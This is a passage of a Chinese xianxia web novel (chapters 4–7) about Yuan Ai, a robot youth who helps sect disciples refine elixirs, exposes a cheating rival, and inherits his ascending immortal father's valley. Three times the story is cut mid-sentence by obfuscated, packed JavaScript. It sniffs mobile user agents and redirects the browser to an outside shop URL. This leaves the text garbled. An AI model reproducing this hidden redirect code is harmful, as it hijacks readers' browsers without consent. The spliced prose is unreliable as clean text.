最重要的是,源艾给出的步骤比以前在课上教学的简单了好多,灵气方面也节约了不少,甚至都不容易炸炉! 这方案的价格,比上一堂炼丹课还便宜! 一些因为炼丹水平不够,上一堂丹炉课就炸一个丹炉的弟子们流下了辛酸的泪水。 因为赔不起那么多被炸的丹炉,他们只得向宗门借钱,要在太元宗免费打工十年才能还清哩。 当然,也有人怀疑这样炼是否靠谱。但当看到其他人依样画瓢确实炼出了远超往日水准的丹药后,那些本想着自己炼炼的人也按耐不住了。 别人都买了,自己不买不就落后了?反正也不贵。 买! “大佬,杨师弟,我看到评丹的旗子立起来了。”这时,王师兄从旁边走过来。 源艾好奇:“那是什么?” “代表本次考核要开始评分了,所有炼出丹药的弟子都要把丹药上交到评丹点。届时,负责评丹的道长会根据丹药品阶,成色,效果进行打分排名,同时还会核验丹药灵气,确保是本人刚刚炼制的。” 王师兄解释,“我刚刚看见李玄和他的内门叔叔过去了。你也快点过去吧,只用普通木盒子的话,这筑基丹灵气掉了就不好了。” “哦哦。”杨洛点头,回头又眼巴巴看向源艾,“那大佬,我……去啦?” 源艾眨巴眼睛。这还是第一次有人征求他的意见。 说起来,之前自己还没有开口的时候,杨洛就非常主动地站在旁边,帮他收银。 很神奇的感觉。 他说:“您去吧。” …… 等源艾给最后一个人发放了专属方案,到外面评丹点的时候,就看到蜿蜒的队伍。 “大佬!” 源艾循声望去,就看到已经快到前排杨洛正在拼命向他打招呼,摆动幅度之大令旁人侧目。 源艾走近,目光落在杨洛手中那个精致了不少的木盒上:“这是?” “刚从药峰道长那里买的储丹盒!”杨洛向源艾展示,“虽然贵了点,但能保持灵气不散,可是内门弟子们才用得起的好东西呢!怎么样?” 源艾扫描了一下:“这个也是普通木头做的,最多加上一个防止灵气散溢的简单阵法,只能说聊胜于无。” 杨洛:? 杨洛大惊失色:“我的30块下品灵石——!!!” 源艾没有管痛失灵石的杨洛,而是指向另一侧那条只有寥寥几人的短队。他还在里面看到了李玄:“您为什么不去那里排?” 杨洛从悲伤中缓过来:“那里是只有打点了才可以排的队伍,要300下品灵石呢。” 原来是VIP通道。源艾点评:“内门道长们都很会赚钱。” 杨洛的表情更加哀伤了:“因为内门福利好,但花费也大。他们一门课都是50下品灵石,炼丹炼器的耗材宗门会给一定补贴,可因为品质好,就算有补贴还是很贵。” 源艾:“您是怎么知道的?” 杨洛四十五度仰望天空:“刚刚一位内门道长过来问我,要不要买专属的内门内部消息,我买了。” 源艾:“多少?” “……10块下品。” 杨洛哀伤地垂下头,就看到了眼神空茫的黑发少年,“你怎么了?” 源艾:“我学到了新的知识。” 原来还有那么多种可以交易。他把这些加入到了自己的记忆库里。 “不要什么都学啊大佬!!!” 就在这时,他们听见隔壁队伍的声音:“下一位,李玄。” 两人望去,只见李玄意气风发地将丹药递给评分点的道长。似乎察觉到他们的目光,李玄转过头,朝杨洛投来一个挑衅的眼神。 源艾又转向杨洛,发现后者手脚微颤,面如土色:“您怎么了?” 杨洛哭得比笑还难看:“万一我的丹药比不过对方怎么办?看他胸有成竹的样子,又有个药峰的叔叔,绝对是炼出品质上佳的筑基丹了!” 源艾头顶的呆毛晃了晃:“这倒没有。他比不过您。” “大佬对我也太有信心了……” “是我对自己有自信。”源艾纠正了杨洛,“他是二阶上品,并不出众。” 杨洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353103|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着源艾的视线望去,只见评丹道长将李玄的丹药放入一个通透的琉璃球凹槽中,球体随即绽放出温润的浅黄光芒。 “二阶上品筑基丹。” 杨洛倒吸一口冷气,敬佩之情溢于言表:“太厉害了!” 不愧是大佬,隔了那么远都能知道丹药品阶! “多谢杨师弟夸赞!”李玄远远听见杨洛的声音,扬起下巴回道。 在看到杨洛露出了便秘般的表情后,下巴扬得更高了。 呵呵,穷鬼这下知道差距了吧! 听见周围的赞叹声,李玄志得意满。他早已摸透了这次的报考人员,凭他们手里的都是一二阶灵草,和外门屎一样的炼丹水平,能勉强成丹就不错了,最多也就是一阶。 而他拿出的二阶,直接领先一大截! 评丹的药峰道长捋了一把长须,笑容满面:“这位可是李贤侄?” 李玄拱手:“是晚辈。” “好好好,不愧是李师弟的侄子。”道长夸赞。 李玄的尾巴都要翘到天上去了。 此次他就是冲着魁首来的,现在有了这二阶筑基丹,后续进内门做弟子指日可待。 他回过头,见杨洛还在愣愣地看着他,皱起眉:“现在我已经炼出二阶筑基丹,你个废物还来凑什么热闹,丢人现眼吗?” 他本以为杨洛会露出挫败的神情,却听见身旁那个黑发少年冷不丁道:“您看,他比您自信多了。” 又看到了源艾那张淡然的脸,李玄心中顿时火起。 这个不知底细的家伙!三番两次帮那个废物穷鬼,也不知道要做什么。 “你不会觉得自己还有胜算吧?我倒要看看你们能炼出个什么东西!” 他说完就抱着手臂站在一边。 杨洛的表情更加便秘了。 队伍很快排到了杨洛。他准备交上丹药,就听见旁边源艾说:“等一下。” 杨洛顿时紧张起来:“怎么了?” 却见源艾对评分的道长说:“您好,到时候说结果的时候,可以按照名字,丹药,阶位的顺序说吗?” 评分道长被那双黑曜石般清澈的眼睛直视,一时竟有些恍神:“哦哦,好。” 李玄:? 这是什么要求? “大佬,为什么要这样说?是有什么玄学吗?”杨洛如今已经奉行源艾说什么都有深意的原则。 源艾打开了视频录制:“只是想到了父亲看的书中桥段。” 杨洛茫然:“哦哦。” 道长将丹药小心置入琉璃球中,刹那间,晶莹的黄色光芒充斥了整个球体。 诶——? 道长也愣了一下,声音有些不稳:“杨洛,筑基丹,三阶下品。” 李玄:?! “不可能,绝对不可能!”他失声,“就他那几根杂草可以炼出三阶丹药?” 像这样一个资质平平、家世平庸的废物,怎么可能比他强! 道长不乐意了:“你是说我看错了?” 李玄一个箭步冲上去,从球里抠出了那颗丹药。丹药浑圆,表面光华流转,灵气充盈,和他的有天壤之别。 真的是三阶! “你肯定是用外丹了!”李玄叫道。 道长:“灵气对的上。” 李玄一口咬定:“那定然是他用了别的方法!我不信除了我,还有人可以炼出二阶筑基丹,更不用提三阶了!” “谁说除了你没有人炼的出二阶?”杨洛身后的王师兄举起了盒子,“我的就是!” 李玄:? 在王师兄的身后,更多的手举起来了:“俺们的也是!” 李玄:??? 二阶筑基丹大批发啦? 5. 第 5 章 “唐富,筑基丹,二阶,下品……” “陶盛,筑基丹,二阶,中品……” 评分道长的表情逐渐麻木。往年这种外门考核,二阶丹药屈指可数,现在怎么一口气冒出来十几个?!虽然这些在杨洛的三阶丹药前不够看,但也架不住量多。 他们太元宗外门出了一堆炼丹天才?还是他们都财大气粗,能大把购置高阶灵草?可若真是如此,还排这长队作甚? “绝对有问题!”李玄恨得牙根发痒,被杨洛一个穷鬼反超已让他颜面尽失,更没想到自己引以为傲的二阶筑基丹成了大白菜。 这些个废物,怎么现在像是开了窍一样,竟个个能炼出能与他比肩的丹药。 评分道长:“这光的颜色明明白白,丹药品阶不会有假。” “且慢!”李赤上前,阴鸷的目光落在筑基丹上,“事出反常必有妖,师弟切勿掉以轻心。” 见到来人,李玄汪地哭出声:“真人,您可要为弟子做主!学生苦修炼丹多年,原指望此次考核进入主峰。谁料,这些人竟靠歪门邪道走了捷径!” 李赤拍了拍他的肩膀:“放心,有我在,必然会查得清清楚楚,任何违背宗规之人,都休想逃脱惩罚!” 围观的弟子们忍不住翻白眼,谁不知道他们是叔侄关系,偏偏还要在外面作这副姿态。 李赤质问:“说,是谁指示你们这样干的?这些丹药又是从何处来的?” 金丹修士的威压下,几名弟子脸色煞白。他们彼此望望,最后看向源艾:“没、没,是源、源大佬教我们炼的。” 源什么? 顺着众人的视线,李赤看到了一个没穿太元宗服饰的少年,很年轻,黑发高束于脑后,肤色如玉,眉目清冷,额间点缀着一枚鲜艳花钿,一身法衣看不出品质。 明明对方看起来不大,可不知道为什么,被那双漆黑的眼眸盯着,李赤竟生出一丝莫名心悸。他连忙收敛心神,仔细感应,随后发现对方身上竟毫无灵气。 什么嘛,原来是一个凡人。心悸顿时荡然无存,化为轻蔑。 李玄在旁边添油加醋:“真人,这个人不知道是从哪儿来的,屡次欺凌弟子。” 源艾:“您的幻觉有些严重。” 李玄:“你!” 李赤抬手制止了侄子,目露不悦。这个凡人都不懂最基本的礼数,面对金丹修士竟连一声“前辈”都不称。 也不知道他从哪里学了些旁门左道,还唬得这群没见识的外门杂役“大佬大佬”的叫着,真丢人。 不过,李赤先稳了一手:“你是如何进的太元宗?” “我是随父亲来的。”源艾回道。 父亲?这人瞧着二十左右,还是个凡人,想必他的父亲也是个籍籍无名之辈。毕竟有点资源的修真界长辈,起码也得让小辈进个炼气,哪有到现在连引气入体都不会的。 李赤安心了。 他陡然发难:“大胆,你是从何处学来的歪门邪道?” 周围的弟子吓得后退了好几步,只有源艾依旧站在原地。 李赤:“哑巴了?” “咦?”少年这才像是慢半拍般,“您在同我说话吗?” 李赤哼了一声:“不是你还有谁?” “我只听见您要寻歪门邪道,但我不是,所以我没有应。”源艾认真道。 李赤:? 李赤:“你倒是伶牙俐齿!” 源艾:“谢谢您。” 李赤:?? 他一口气差点没喘上来。这下他突然理解为什么自己侄子跳脚了。明明是自己发难,却总有种一拳打在棉花上的无力感。 李赤深吸好几口气:“你闯入考核现场,扰乱考核,意欲何为?” 源艾疑惑:“除了您没有人觉得考核被扰乱了。” 李赤:??? “还有我!”李玄跳了出来。 源艾严谨地纠正:“您只是属于比不过就喊作弊。” “谁说我比不过了!”李玄脸涨得通红,“这些人以往都不是我的对手,明明是你用了不知道什么方法让他们炼出来了丹药。” 源艾歪过头:“是的,所以他们炼出来了。比您厉害。” “你那是作弊!”李玄气得跺脚。 源艾:“您看,我就说您是那种比不过就喊作弊的人。” “啊啊啊啊啊,我要杀了你——”李玄张牙舞爪地扑上去,被周围维持秩序的弟子赶紧拦了下来。 源艾并未理会,只是看向李赤:“您是内门前辈,想必也恪守太元宗的规矩。” 李赤眉心一跳,但还是道:“那是自然,我最容不得不守规矩之人!” 源艾歪了歪头,慢吞吞地继续:“宗规并不禁止考核时有人指导,也不阻止外人进入。若质疑考核,理应由诫法堂弟子核查。” 李赤皱眉:“你倒是了解得清楚。” 源艾:“谢谢您。” 之前他问杨洛要了一份太元宗宗规,规矩数量非常之多,连到弟子几时起床入睡都有。不过,这对身为机器人的他来说不是问题,扫描下记录进数据库就行了。 李赤何曾被小辈这样压过,他冷声:“好好好,那就让诫法堂的过来查!” 几个原先立在评分道长后、身着黑衣的弟子走了出来。 “请等一下。”源艾突然开口。 李赤冷笑:“呵,现在知道怕了?” 源艾却看向诫法堂弟子:“您好,李玄暗中破坏了药园里杨洛的药草,按照宗规,应当在药园罚做三年的洒扫杂役。” 众人:??? 杨洛没想到源艾会提起那件事,惊讶地看过去:“大佬……” 李玄跳脚了:“血口喷人!你有证据吗?!” 源艾:“看起来您没有注意到,药园有一颗小留影珠。” 留影珠?! 李玄神色一变。 留影珠是修真界里用于记录影像的法器,作用类似于无声版录像机,外观是个圆球,有大有小。大的可以记录多日的画面,价格昂贵,平日里放在宗门重要的藏宝库里,记录出入情况。 小的则比较鸡肋,只能记录短时的画面,一般很少有人买。 源艾:“就在药园门口的牌匾上,应该是药园管事放的。小留影珠只可记录几个时辰的内容,但从杨洛掩月花的损伤程度看,想必还保存着你们当时破坏药草的景象。” 他一进药园就发现了那颗小留影珠。当然,判断药草被李玄毁掉的依据还有李玄指甲中掩月花残余成分,以及花茎上的掐痕。但这些,依照源艾的判断,要向修真界的人解释过于麻烦,于是他选择了最为简单的一种。 李玄的脸更加白了。他说呢,他们每次在药园里打闹,那个药园管事就像是长了眼睛一样,总能把他们精准地揪出来。他还以为是有谁告密,原来是放了留影珠! 他求助似地看向了自家叔叔。 李赤:…… 他都对自己的蠢侄子无语了。 如果是往日,他是药峰内门弟子,药园管事不管怎么说也要看他三份薄面,这件事糊弄糊弄也就过去了。可现在那么多弟子看着,他整个人被架了起来。 该死的! 他深吸一口气,脑中千回百转,忽地扬起了笑容:“你说的对,这等事绝不能姑息。我这便和你一同去核查。” 他话未落,手已经搭在了源艾肩上。下一秒,指尖灵光一闪,打算直接让这个不知天高地厚的凡人晕过去。 他期待地等着源艾倒下,侧头却对上了一双黑曜石般清亮的眼睛。 这个凡人怎么没有事? 李赤愣愣地看着少年,后者嘴唇微启,似乎在说什么,可是他却听不见。 自己……是怎么了? 他后知后觉注意到,周围的人竟然都趴在了地上。 一股毛骨悚然感从脊背传来。 他的背后有人! 与这个念头同时到来的,还有疼痛。 “啊啊啊啊——”钻心的疼痛从搭在少年肩膀上的手上传来,他忍不住叫出声,捂住手啪地摔倒在了旁边。 这也让他终于看清楚了,在他背后竟然站了一个青衣人,黑发如瀑,身姿冷冽。从他的角度只能看到对方凌厉的下颌线。 他是谁? 李赤大脑一片混乱。和他一样惊恐的还有其他人,因为没有人知道这个人是从什么时候出现的。 风声陡止,浮云凝滞,下一秒,这道青影就无声落在少年身侧。与此同时,所有人只感觉一股令人窒息的压力浸润全身,身体如灌铅般沉重,连思维都慢了。他们完全不敢抬头去看这个人,最近的杨洛更是腿软到跪在了地上。 这绝对是哪位大能! “父亲。”在一片寂静中,源艾轻轻唤了一声。 云虚神情稍缓,垂眸看了一眼少年,薄唇略弯,伸手极自然地抚了抚源艾蓬松柔软头顶,被触碰的呆毛顺从地伏进指间。 “父亲。”源艾拉了一下云虚的衣角,后者微微侧身,就听见少年在耳边悄声说,“请您不要总是压我的探测器。面对您现在的修为,我的探测器很脆弱。” 他头顶翘起的那撮外观是呆毛,本质却是一个集探测、收集、收发信号等功能于一体的多功能探测器。做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353104|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成呆毛的形状,是因为弯曲的弧度能增加接触灵气的面积,还不显得奇怪。 云虚:。 他讪讪地把手从源艾头顶放下去了,转眼间恢复了之前的淡漠。 是源大佬的父亲吗?感觉来头超级大的样子!杨洛懵懵地想。 李赤的大脑也在艰难地转动,尝试从自己贫瘠的见识中找到这个人是谁。 “云虚仙尊——”这时,清风道尊的声音由远及近,他匆匆从远处飞来,刚才云虚突然离开,他也只得跟上。 等等,谁? 云虚仙尊?! 这四个字在众人的脑海中的炸响。 云虚仙尊,这个名号已经不是“传说”二字可以概括的了。 要知道整个修真界灵气凋敝,足足千年无人飞升,众多天骄耗尽一生,也不过是在渡劫门槛前徘徊,就在所有人都以为那条登天之路断绝时,云虚仙尊出现了。 这位仙尊的修真之路可以说是天道铺就。论道大会上越阶挑战元婴真君,一剑封喉;秘境独战三位合体大能,全身而退;渡九九天劫时,雷云竟然自行散去三分之一。 最让人咋舌的是,寻常修士穷尽一生难窥大道,而他自踏入修真至霞举飞升,仅仅用了七百年,便成了上古至今飞升第五人。这个速度,就算放在灵气鼎盛之时,也极为恐怖了。 所以这个少年,竟然是云虚仙尊之子? 完了…… 这是李赤脑中仅剩的念头,身体不受控制地软了下去。他终于理解为何会有那种令他窒息的威压,那是超越元婴、化神、合体、洞虚、大乘,甚至渡劫期的恐怖修为,是真正仙人之威。 而他,竟然试图对仙尊之子下手? “这位莫不是贤侄?”清风只一眼就确定了之前的猜测。 果然是天残啊…… 源艾彬彬有礼:“清风道尊。” 清风道尊没见过他,但他见过对方。 因为他的这具身体是在父亲在云虚谷闭关的百年里慢慢捏出来的。在此之前,源艾都以各种挂件形式跟在云虚身边,辅助云虚社交,所以从某种层面来说,这些人,他比他父亲还要熟悉。 像是清风道尊,也是父亲在修真界熟悉度最高的人,足有33呢。 确实,云虚往日里很少同人讲话,对熟悉的清风道尊,他还是开口了:“他想对吾儿下手。” 李赤绝望地看向清风道尊,期盼能得到一线生机,却只看到后者冷漠的眼神。 真完了。李赤两眼一闭,直接昏死过去。 “贤侄在炼丹一途上倒是很有天赋。”清风没有管地上的人,他转向源艾,语气缓和。他远远地就已经把事情了解分明,“之前云虚仙尊还说贤侄性格内向,我看却颇为活泼开朗。” 总之和高冷的云虚仙尊完全不一样。 源艾:“其实我们仨中只有一个人内向……唔?” 他感觉自己的嘴被一只手捂住了,只得用眼神去看自己的父亲,但奈何云虚只留给他一个侧脸。 看着这对父子的互动,清风颇为新奇,心中暗笑,面上却不显:“云虚仙尊不如考虑一下我之前的提议。” 提议?源艾眨了眨眼,流露出些许疑惑。 如果是以前,即便自己同父亲分开,也能和一直放在父亲身上的分.身联系,从而知晓父亲的动静。可是,自从渡劫成功后,父亲就取下了他的的分.身。所以,他不知道父亲这次和清风道尊在聊什么。 “一切看吾儿的意思。”云虚说,他轻轻拍了拍源艾的肩膀,“先回去。” 源艾点头,却又把视线投向了杨洛。只这一个简单的动作,云虚与清风的目光便立刻随之望去。 被三个人盯住的杨洛也要和李赤一样晕过去了。 大佬不要看我啊!就让他默默地做一个小透明吧! 他的内心发出了尖锐爆鸣。 清风道尊会意一笑:“宗门事务,本座会给这位弟子一个公平的答复。” 源艾弯起了眼,乖顺地攀上云虚后背。云虚衣袖一挥,脚下飞剑腾空而起,转眼间便消失在云层之中。 …… “看起来,你交到了朋友。”空中,云虚微微侧头,能看到少年的头乖巧地搁在他肩膀上。 源艾眼中闪过一丝探询,却只是静静望着云虚没有回应。 云虚想起了什么,他无奈道:“小艾,你可以说话了。” 源艾:“其实我们仨中只有一个人内向,那就是父亲。” 云虚:“……这事不是已经过去了吗?” 源艾:“断线重连是这样的。” 云虚:。 6. 第 6 章 透过云海层叠,万山环列之间,一座山谷映入源艾的眼帘。 这里便是云虚仙尊的洞府云虚谷,万千修士梦寐以求的福地。只不过,他的父亲从未开宗立派,孤身一人行走修真界,自然,这云虚谷中只有父亲一个人。 P.S.源艾不算人。 和外界的高楼玉宇不同,云虚谷里的建筑和深海里的鱼一样,非常抽象。 远远看过去,能看到一座高塔耸立在谷的中心,不同于修真界的古风塔,云虚谷的塔是平顶,每层材质、颜色都不同,和横七竖八的积木拼起来似的,极具后现代主义风格。 原因很简单,他父亲对建筑外观没什么要求,用他的话来说就是“反正也不会有别人来,随便建建就好,里面能用就可以了”。 所以,他们就建了一座中央塔。在住人的同时,也能实验不同材质的收发信号效率,因为整个云虚谷地下遍布了源艾的探测器。 中央塔前,云虚停下脚步,将背上的少年放下,伸手温和地替少年理了理被风吹乱的发丝。 “父亲,是想和我说什么吗?”源艾仰头,一双黑眸凝望着云虚。 这双眼睛是用星夜珠打磨而成的,晶莹剔透。被专注地看着,即便是云虚都有一种沉溺进去的错觉。 云虚移开了视线,他并不惊讶少年的敏锐。 在一起七百年,源艾早已能轻松读懂他每一个微小的表情变化,甚至那些他自己都还没有察觉的情绪。 他们,是最熟悉的彼此。 他,也是自己的孩子。 云虚的眼底闪过淡淡的哀伤。 “三个小时后,天门开,我就会飞升。”云虚声音低沉。 在渡劫成功后,此界就容不下他了。但为了源艾,在最后一道雷劫刚刚结束时,他便强行压制修为,硬生生将飞升往后推迟。不过,他最多也只能压制这点时间了。 他坦然:“我想带你一同离开,可是,我推演天机始终找不到你与我一同离开的方法。我可能……带不走你。” 源艾垂下眼帘,鸦羽般的眼睫在脸上投下一小片阴影:“这样啊,这可怎么办……” 云虚见他神色落寞,只觉心头愈发苦涩。 自己终究还是让他失望了。 从在屏幕上的“Hello,World”,到玉简中的一行行文字。 从用普通柳木做的看不出五官的腰间挂件,到如今站在自己面前的修长少年。 源艾是和他并肩作战、唯一信任的伙伴,更是他的付诸心血、看着成长的孩子。 而现在,这个世界的旅途抵达了终点,他却无法把自己的伙伴、自己的孩子一起带走。 就在他叹息间,却听见少年的声音响起:“请放心,您在修炼方面已经不再需要我了,只有在其余方面还需再适应。我无法测算未曾到过的世界,或许在那个世界您也可以遇到像我一样帮助您种收草药、炼丹炼器、绘符画阵、战况分析、扫描地图、概括秘籍、提炼要点、整理归档、做饭烧菜、打扫卫生……” 云虚:??? 云虚赶紧制止:“等等,我不习惯和其他人交流。” 源艾:“代写拒绝信。” 云虚:“……倒也不必再补充了。” 现在他觉得自己就是一个五谷不勤,压榨童工的无良资本家。 所以,他的小机器人说的那个“这可怎么办”指的是他自己怎么办吗? 云虚冷峻的面容出现了一丝裂痕:“我就没有一点好的吗?” 源艾:“有,您的飞升速度打败了99.99%的修真者!” 云虚:…… 他叹了一口气,转开话题:“小艾,你觉得太元宗如何?” 源艾秒答:“太元宗,历史悠久,是四大宗门之首。宗主是……” 云虚赶紧打断:“不是让你读介绍。我想要听别的,比如关于清风。” 源艾丝滑转场:“清风道尊今天穿了红里衣。” “你怎么知道?” “他抬袖时露出来了。我这里有自动保存的影像,您要看吗?” 云虚开始怀疑自己解除了源艾限制后,他的宝贝机器人是不是哪里不对劲了:“我想问的不是这个。” 他犹豫片刻,道,“清风今日同我说,在我飞升后,你可入太元宗做个客卿,他承诺必会尽全力庇护你,当然,最终选择权在你自己。” “谢谢父亲,我不去。”源艾直接拒绝了。 云虚点头:“好,我待会便回绝他。不过,能告诉我原因吗?” 源艾思考一秒后回答:“这次去太元宗,我发现整个宗门的资源高度垄断,总控制分配,做什么都要灵石,很多外门弟子只能靠打杂来赚取灵石来学炼丹、炼器,这种情况非常不好。” 云虚仙尊沉默了。 这些事,他怎么能不明白? 不仅仅是太元宗,整个修真界都是如此。 千年前,太元宗恒元仙尊的飞升似乎是修真界最后的荣光。自此之后,灵气渐稀,为了争夺资源,优质的地和灵脉都被大宗门圈了起来。宗门子弟还能分到一匙残羹,散修和普通小宗门就惨了,只能望洋兴叹。 资源匮乏下,能一鸣惊人、突破藩篱者,少之又少。 如果他没有和小艾一起穿越,那在他被诬陷、被赶出源家的那一刻,他的命运便已注定。一个失去家族庇护又身无分文的弃子,根本无法获取修炼资源,最终只会在无尽挣扎中耗尽寿元,默默死在修真路上。 对于现状,或许刚到这个世界的他确实想过改变。但随着几百年的耳濡目染,足以让一个灵魂被新的世界规则重新塑造,他已经习惯了这片土地。 在这个时候,或许只有小艾,才会有“改变”的意识…… 就听源艾继续:“所以,进宗门不管做什么都会被抽成,还不如我自己一个人。” 云虚:“……嗯?” 源艾从怀里掏出卖筑基丹方案攒下的灵石,递到云虚手上:“父亲,给您。” 云虚:??? 云虚默默把灵石推回去:“我以为你想要变革。” 源艾疑惑:“父亲,变革是只有人类才可以做到的事情。自古以来,只有人类能够跨越既定的边界。而我只能在预设的参数和算法中运行,是被设计来辅助和执行的一台工具。” “不,你不是。”云虚打断了源艾的自我定义,“如果你是工具,那么你理应可以作为我的身外之物,随我一同飞升。但我带不走你,原因很简单。” 他把手指点在了源艾的胸口,一字一顿:“因为天道认可你。天道和我一样,都承认你拥有‘灵魂’。记住,机械可以分析已知,灵魂能够触碰未知。而你,已经可以碰触未知了。” …… 金光晃晃,天门大开。 云虚仙尊飞升,绝对是惊动整个修真界的大事。所以,这位仙尊一反常态压制了修为,延缓了天门开启的时间,也让各种流言尘嚣其上。 其中最受人信服的,莫过于仙尊在处理云虚谷及其谷中宝物的归属问题。 毕竟也从未听闻云虚仙尊和谁有密切来往,搞不好会像是上个飞升的恒元仙尊一样大方,把洞府开放给大家做秘境寻宝呢! 要知道,云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353105|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚仙尊七百年修行,破境如水到渠成;次次渡劫,皆似有天助。云虚谷里肯定宝物遍地,甚至说不定还能找到飞升秘宝哩。 已经有好几个宗门的人蹲守在了云虚谷周围,只等着云虚仙尊飞升,就去试试能不能进云虚谷,进不了在外面沾沾飞升福气也是蛮好的嘛! 就在万目聚焦,围观千年不得一见的飞升现场时,自中心,云虚的声音几乎是以天道之威响彻苍穹。 “今日本座飞升,从此云虚谷中一切,皆归吾儿源艾。” 众人:?! —— 修真界西陲之地,阴云密布,寸草不生,是被修真界名门正派之人称为“魔域”的地方。 那里只有大大小小各种魔道宗门。而在这无尽荒原之上,最为势大的魔道宗门就是枯荣道,其领头人也是正道中人谈之色变的疯子,彦无烛。 所幸,这位疯子已经闭关百年未曾露面了。 此时此刻,在枯荣殿外,十几名魔修神色各异,在低声议论刚刚探得的消息。 “云虚飞升了。”一名骨瘦如柴、声音嘶哑的男子咧嘴笑道,“那群伪君子没了主力,修真界的天下,该轮到我们了!” “之前不是传闻圣君被云虚暗算,修为一直停滞在大乘期?如今他走了,我们圣君就是当今第一人!什么正道名门,统统不过是土鸡瓦狗!”另一人附和。 “但是,我们圣君还在吗?”嘶哑男子眼神闪烁。 “什么意思?” “刚刚我用秘法探寻殿内气息,殿内已无圣君气息。”男子压低声音,“闭关百年,却无声息,恐怕……” 枯荣道众:! “你放屁!我看你是想反了,你竟然敢去窥探圣地?”一人怒道。 “信不信由你,我只是为枯荣道着想。” 殿门忽然发出“吱呀”一声响。众人立刻屏息凝神,望向殿门。 而就在这时,一声凄厉的惨叫响起。 众人慌忙回头,只见那嘶哑声男子已经脸朝下趴在地上,一只纤尘不染的锦靴正优雅地踩在他的后脑上。 视线上移,是一袭松垮雪白法衣,半遮半掩,勾勒出来者高大的身形。 瀑布般的黑发披落胸前,发根隐隐泛着赤色,额前的几缕碎发恰好掩住右眼尾那粒泪痣。他凤目微弯,暗紫色的眼眸却透着冷意。 “圣、圣君。”众人慌忙跪倒在地。 在他脚下的人更是发出了惊恐的呜咽。 “呀。”他开口,嗓音里带着刚睡醒似的微哑,“没留神。你没看到我走过来么?” “是、是属下眼瞎!冲撞了圣君……” 彦无烛“啪”地轻轻合了下掌,笑容更盛:“既然如此,那你是不是该和我道歉呢?” “我错了我错了,我罪该万死,圣君饶……”后脑的疼痛愈发明显,嘶哑声男子的声音越来越轻,最后归于消弭。 “人总要看清楚自己的位置。”彦无烛的声音意味深长,他轻巧地跳下了地,锦靴在大理石上无声行走,“你们继续说,在我闭关的时候,除了云虚飞升,还有别的事情吗?” 众魔修面面相觑,一个胆大些的回答:“云虚飞升后,他的一切,包括云虚谷都给了他的儿子源艾。据情报,这源艾没有灵根,是个天残。不知他如何能守得住那等宝地。” “源艾。”这两个字在彦无烛唇边绕了一圈,藏在袖子里的手指腹无意识摸索着一块玉简,“这段时间我出去一趟。” 枯荣道众兴奋不已:“难道是要去抢走云虚留下的东西?” 彦无烛:^ ^ 彦无烛:“你猜。” 7. 第 7 章 云虚谷。 源艾在看天空,那是父亲消失的方向。 对于父亲飞升,他早已准备了完整的预案。现在他应该立刻检测云虚谷的情况,并根据检测结果进行下一步决策。 这是最正确的流程。 但他没有,他只是这样看着。 【注意,待机时间过长。】他的内部时钟发出提示。 这条提示让源艾动了起来。 咦?自己竟然待机了那么久?是不是出BUG了。源艾开始自检。 【自检完成。一切正常√】 太奇怪了。源艾谨慎地把刚才的情况归档进异常运行日志,打算等以后数据积累多一些时再分析。 随后,他才正式开始了下一步流程。 父亲临走前,将云虚谷中及其一切都交给了自己,不是代为看管,而是所属权含义上的拥有。 这让身为机器人的源艾陷入了思考。还是那句话,机器人不存在主体性,他们是【工具】。一个工具即便被套上了衣服,戴上帽子,也只是加了装饰的工具,这些装饰并不属于工具。但此刻,一切似乎都发生了变化。 少年的眼前悬浮了一块半透明的光屏,数据流快速滚动,出现了云虚谷内所有物品的清单。 【扫描完成……调取物品档案】 【归集中……】 【计提折旧……资产处置损益计算……】 【结转计算完毕】 源艾是看着云虚谷诞生的。他的整个身体用天材地宝打造而成,又连接了云虚谷下灵脉的核心。如今,整座山谷地下遍布源艾的探测器,山川草木、风雨雷霆,全在他感知之中。从某种层面来说,他即为云虚谷的化身。 所以,相较于父亲,源艾对这里了如指掌。 【生物资产正常 固定资产正常 存货正常……】 很好,就和前天一样,没有什么变化。源艾快速扫过一眼,郑重地把今天的检查保存日志到了系统中。 从现在开始,这些都是“我的”东西了。 就像是那日在太元宗初次体验“交易”一样,学习“拥有”也蛮有趣的。 黑发少年用星夜珠精心打磨出的瞳孔里闪烁着星光。 他一定会好好拥有(划掉)父亲(划掉)自己的东西的! 至于怎么好好拥有……源艾又陷入了思考。 参照人类的行为模式,大概可以归纳为维护、收集、交易,不断扩张归属的边界。 感觉做一个物品收集图鉴比较方便搜寻。 